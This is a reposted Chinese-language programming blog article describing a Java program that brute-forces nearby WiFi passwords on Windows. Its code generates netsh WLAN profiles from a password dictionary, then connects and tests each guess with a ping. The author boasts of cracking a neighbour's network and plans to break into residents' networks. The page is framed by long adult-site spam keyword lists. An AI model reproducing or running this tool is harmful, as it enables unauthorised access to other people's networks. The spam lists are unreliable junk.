亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 開發 > Java > 正文

Java編程實現暴力破解WIFI密碼的方法分析

2024-07-14 08:43:23
字體:
來源:轉載
供稿:網友

本文實例講述了Java編程實現暴力破解WIFI密碼的方法。分享給大家供大家參考,具體如下:

開始進入正題。在網上找了很多wifi破解工具,都是linux平臺下用的,然后還不支持虛擬機裝linux。因為很多筆記本裝虛擬機都識別不了內置網卡。所以得把系統刻到U盤,然后用U盤啟動。但是我現在窮得連一條內褲都沒有了,哪來的U盤啊。于是就決定自己寫,而且還得用Java寫,寫了我還得在windows上運行。

一、準備工作

首先你得需要一臺能連wifi的電腦,
然后你的電腦得支持Java環境,
最后你周圍得有無線網絡。

ok,話不多說,說開擼,老夫就要開擼。于是網上找到了windows下cmd無線網絡操作的相關命令。如下:

// 列出所有可用wifinetsh wlan show networks mode=bssid// 添加配置文件netsh wlan add profile filename=FILE_NAME// 連接wifinetsh wlan connect name=SSID_NAME// 導出配置文件netsh wlan export profile key=clear// 列出配置文件netsh wlan show profile// 刪除配置文件netsh wlan delete profile name=FILE_NAME// 列出接口netsh wlan show interface// 開啟接口netsh interface set interface "Interface Name" enabled

首先需要寫配置文件,方便待會使用。首先我們可以看看配置文件張啥樣,導出配置文件看看就知道了。打開命令行,輸入這我這篇文章中,主要會用到前四個命令,其他的命令就當給各位做拓展了。

netsh wlan export profile key=clear

就導出了配置文件,注意,這兒的配置文件默認導出在cmd執行的當前路徑,如下,

我導出的文件就在 C:/Users/Admin 下面,可以看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,隨便打開一個我們可以看到xml文件的具體內容,但是有一些內容是我們不需要的,我們需要的是下面這個樣子

<?xml version="1.0"?><WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"><name>SSID_NAME</name><SSIDConfig>  <SSID>    <name>SSID_NAME</name>  </SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>auto</connectionMode><MSM>  <security>    <authEncryption>      <authentication>AUTH_TYPE</authentication>      <encryption>AES</encryption>      <useOneX>false</useOneX>    </authEncryption>    <sharedKey>      <keyType>passPhrase</keyType>      <protected>false</protected>      <keyMaterial>PASSWORD</keyMaterial>    </sharedKey>  </security></MSM><MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">  <enableRandomization>false</enableRandomization></MacRandomization></WLANProfile>

二、掃描WIFI

其中 SSID_NAME 是待會我們會用到的wifi名稱, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我們會暴力破解的密碼變量。

OK,背景交代得差不多了,可以開干了。首先掃描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信號強度(信號太弱的,我們就不進行破解了,破解了也沒啥用)。掃描其實就是執行一個CMD命令的問題,先封裝一個CMD執行器吧。

/** * 執行器 * * @param cmd   CMD命令 * @param filePath 需要在哪個目錄下執行 */private static List<String> execute(String cmd, String filePath) {  Process process = null;  List<String> result = new ArrayList<String>();  try {    if (filePath != null) {      process = Runtime.getRuntime().exec(cmd, null, new File(filePath));    } else {      process = Runtime.getRuntime().exec(cmd);    }    BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));    String line = null;    while ((line = bReader.readLine()) != null) {      result.add(line);    }  } catch (IOException e) {    e.printStackTrace();  }  return result;}
/** * 列出所有信號較好的ssid * * @return 所有ssid */public static List<Ssid> listSsid() {  List<Ssid> ssidList = new ArrayList<Ssid>();  String cmd = Command.SHOW_NETWORKS;  List<String> result = execute(cmd, null);  if (result != null && result.size() > 0) {    // todo 整合信息  }  return ssidList;}

然后掃描周圍wifi信息,并返回相關信息

三、生成配置文件

OK,接下來我們就可以開始針對每個不同的SSID生成不同的配置文件了,生成文件整個過程就是根據每個不同的密碼生成一個配置文件。大概代碼如下

/** * 配置文件生成器 */public class ProfileGenerator {  private String ssid = null;  private String passwrodPath = null;  private ExecutorService threadPool = Executors.newFixedThreadPool(4);  public ProfileGenerator(String ssid, String passwrodPath) {    this.ssid = ssid;    this.passwrodPath = passwrodPath;  }  /**   * 生成配置文件   */  public void genProfile() {    List<String> passwordList = null;    int counter = 0;    outer:    while (true) {      int start = counter * Connector.BATH_SIZE;      int end = (counter + 1) * Connector.BATH_SIZE - 1;      passwordList = FileUtils.readLine(passwrodPath, start, end);      if (passwordList != null && passwordList.size() > 0) {        // 生成配置文件        for (String password : passwordList) {          GenThread genThread = new GenThread(ssid, password);          threadPool.execute(genThread);        }      } else {        break outer;      }      counter++;    }  }}class GenThread implements Runnable {  private String ssid = null;  private String password = null;  GenThread(String ssid, String password) {    this.ssid = ssid;    this.password = password;  }  public void run() {    String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);    profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);    FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "//" + password + ".xml", profileContent);  }}

需要哪些密碼可以自己現在網上找一些字典來跑,建議順序是 常用弱口令 => 字典面 => 隨機密碼(到了隨機密碼這兒,意義也不大了)。這兒給出一個常見弱口令的下載連接 。反正我只用這個弱口令破解過一個WIFI。這兒為了加快文件生成速度,我開啟了多線程。個人實際感受,如果只是幾千到幾萬個的話,其實多線程不多線程,并沒有多大區別,真正的區別在于后面嘗試連接的時候。

四、遍歷校驗配置文件

接下來就是最耗時的一步了,一個個密碼去校驗。關鍵代碼如下

/** * 校驗WLAN配置文件是否正確 * <p> * 校驗步驟為: * ---step1 添加配置文件 * ---step3 連接wifi * ---step3 ping校驗 */public synchronized boolean check(String ssid, String password) {  System.out.println("check : " + password);  try {    String profileName = password + ".xml";    if (addProfile(profileName)) {      if (connect(ssid)) {        Thread.sleep(50);        if (ping()) {          return true;        }      }    }  } catch (InterruptedException e) {    e.printStackTrace();  }  return false;}/** * 添加配置文件 * * @param profileName 添加配置文件 */private static boolean addProfile(String profileName) {  String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);  List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH);  if (result != null && result.size() > 0) {    if (result.get(0).contains("添加到接口")) {      return true;    }  }  return false;}/** * 連接wifi * * @param ssid 添加配置文件 */private static boolean connect(String ssid) {  boolean connected = false;  String cmd = Command.CONNECT.replace("SSID_NAME", ssid);  List<String> result = execute(cmd, null);  if (result != null && result.size() > 0) {    if (result.get(0).contains("已成功完成")) {      connected = true;    }  }  return connected;}/** * ping 校驗 */private static boolean ping() {  boolean pinged = false;  String cmd = "ping " + Connector.PING_DOMAIN;  List<String> result = execute(cmd, null);  if (result != null && result.size() > 0) {    for (String item : result) {      if (item.contains("來自")) {        pinged = true;        break;      }    }  }  return pinged;}

兩點釋疑:

1. 為什么需要sleep(50)? 因為在連接后,電腦沒有立即反應過來,此時去ping的話,就算密碼正確,都會ping不成功。所以需要sleep。我破解的時候sleep(1000)的,還沒測試50行不行。

2. 為什么需要ping網站? 因為在第二步連接的時候,不管有沒有連接成功,都會出現 ‘已成功完成xx連接' 的字樣。所以沒辦法,只有用ping來校驗,不過我相信一定能夠優化的。

這一步我開啟了多線程,去驗證,有人說為什么用多線程,明明驗證方法都 synchronized 了,我想說的是,單線程的話,之間總會有間隙的,所以為了壓榨那一點點時間,我用了多線程。

五、連接成功

OK,至此,為師已將畢生功力傳授給你了,你出去就說是三年經驗了。呸,說錯了,至此,整個流程大概就已經出來了,接下來就run你的程序吧。等待密碼的破解。

我一共在我家周圍瞄上了三個信號看起來還可以的wifi。用這個程序跑了40多秒,開了一個wifi的密碼 12345678。耶成功了終于可以用了。

然后根據密碼,把自家路由器設置一個橋接模式。家里處處都有網了。

五、或者放棄

或者,你也可以放棄。愉快地用了一晚上過后,我第二天早上起來發現網斷了,原來那個網不存在了,但是到了中午又有了。我估計是底商閉店了,就斷電了,網就沒了。

于是想要撬開一個住戶的網,跑了兩個看起來信號比較好的網絡,都以失敗告終?。?!因為密碼字典不夠強大。網上下過幾個字典生成器,都不能用。算了吧先湊合用著現在的網絡,等我有空了,寫個字典生成器,來撬開。

希望本文所述對大家java程序設計有所幫助。


注:相關教程知識閱讀請移步到JAVA教程頻道。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
成人欧美在线观看| 亚洲国产99精品国自产| 亚洲第一视频在线观看| 国产一区二区三区18| 青草热久免费精品视频| 久久精品夜夜夜夜夜久久| 国产91在线播放九色快色| 成人美女免费网站视频| 亚洲在线观看视频| 不用播放器成人网| 57pao成人永久免费视频| 亚洲人成电影在线观看天堂色| 成人精品久久一区二区三区| 欧美在线视频免费播放| 97超碰国产精品女人人人爽| 亚洲精品国产suv| 成人网欧美在线视频| 国产不卡一区二区在线播放| 亚洲午夜精品视频| 亚洲有声小说3d| 中文字幕欧美日韩在线| 国产成人精品视频在线| 国产精品高潮粉嫩av| 亚洲欧美综合另类中字| 亚洲性猛交xxxxwww| 成人精品一区二区三区电影免费| 亚洲一级一级97网| 久久99热精品| 欧美激情二区三区| 久久国产一区二区三区| 久久久久久久久91| 亚洲自拍偷拍视频| 国产一区二区在线免费| www.亚洲一二| 久久久久久69| 中文字幕一区二区精品| 大荫蒂欧美视频另类xxxx| 精品国产31久久久久久| 日韩av一卡二卡| 2019中文在线观看| 国产视频在线观看一区二区| 久久99精品久久久久久琪琪| 亚洲福利在线播放| 国产日韩在线播放| 日韩一区二区三区在线播放| 成人写真福利网| 欧美日韩中国免费专区在线看| 国产精品人成电影| 亚洲国产精品国自产拍av秋霞| 国产成人综合亚洲| 96pao国产成视频永久免费| 亚洲欧洲偷拍精品| 亚洲少妇中文在线| 亚洲第一av网站| 97欧美精品一区二区三区| 国内精品美女av在线播放| 欧美丰满少妇xxxx| 国产精品嫩草影院一区二区| 91精品视频在线播放| 亚洲第一精品夜夜躁人人爽| 亚洲一区二区福利| 91精品国产亚洲| 一区二区三区动漫| 国产一区二区丝袜高跟鞋图片| 欧美日韩另类视频| 国产欧美一区二区三区在线| 欧美激情在线狂野欧美精品| 成人a在线视频| 日韩亚洲成人av在线| 精品国产乱码久久久久久天美| 96sao精品视频在线观看| 亚洲综合中文字幕在线观看| 中文字幕少妇一区二区三区| 成人激情视频在线播放| 欧美壮男野外gaytube| 欧美午夜丰满在线18影院| 日本一区二区在线播放| 成人看片人aa| 少妇激情综合网| 久久国产精品电影| 国产精品中文久久久久久久| 欧美国产日韩一区二区| 狠狠躁夜夜躁人人爽天天天天97| 免费97视频在线精品国自产拍| 国产欧美日韩亚洲精品| 日韩欧美在线国产| 欧美日韩激情美女| 欧美第一黄网免费网站| 欧美极品第一页| 欧美午夜激情视频| 久久中文字幕国产| 日本高清视频一区| 亚洲国产精品免费| 欧美激情女人20p| 日本精品一区二区三区在线播放视频| 亚洲乱亚洲乱妇无码| 亚洲福利在线观看| 久久久久久久久久亚洲| 亚洲成人精品久久久| 亚洲性av网站| 成人精品福利视频| 欧美大片在线免费观看| 国产欧美 在线欧美| 欧美日韩第一页| 97精品在线观看| 成人精品一区二区三区电影免费| 午夜精品福利在线观看| 亚洲精品免费在线视频| 亚洲人午夜精品免费| 欧美午夜精品久久久久久久| 精品国产老师黑色丝袜高跟鞋| 青青草一区二区| 91国语精品自产拍在线观看性色| 日韩成人激情在线| 久久精品国产v日韩v亚洲| 日本一欧美一欧美一亚洲视频| 国产亚洲精品日韩| 亚洲第一综合天堂另类专| 久久男人的天堂| 欧美一区二区三区图| 国产精品久久久久久久久久ktv| 国产午夜精品久久久| 日韩激情视频在线播放| 最近2019中文字幕大全第二页| 久久久久久久久久久成人| 欧美黑人xxxⅹ高潮交| 成人在线免费观看视视频| 精品久久久久久久久国产字幕| 成人免费午夜电影| 国产视频福利一区| 人人澡人人澡人人看欧美| 亚洲精品免费一区二区三区| 精品亚洲一区二区三区在线观看| 久久精品国产96久久久香蕉| 久久伊人91精品综合网站| 欧美成人激情视频| 精品亚洲一区二区三区在线播放| 4438全国亚洲精品在线观看视频| 日韩中文在线观看| 97在线观看视频| 色www亚洲国产张柏芝| 亚洲欧美激情精品一区二区| 疯狂蹂躏欧美一区二区精品| 亚洲激情视频在线播放| 日韩中文娱乐网| www.久久草.com| 黑人巨大精品欧美一区二区三区| 亚洲在线观看视频| 成人a级免费视频| xxxxx成人.com| 69久久夜色精品国产7777| 亚洲一区av在线播放| 日韩一区二区三区在线播放| 欧美日韩国产在线播放| 日韩av在线网站| 国产97在线亚洲| 日韩av三级在线观看| 亚洲激情免费观看| 国产精品久久久久久久电影| 久久久久久久影视| 成人日韩在线电影| 成人黄色大片在线免费观看| 欧美日韩国产在线播放| 日韩性xxxx爱|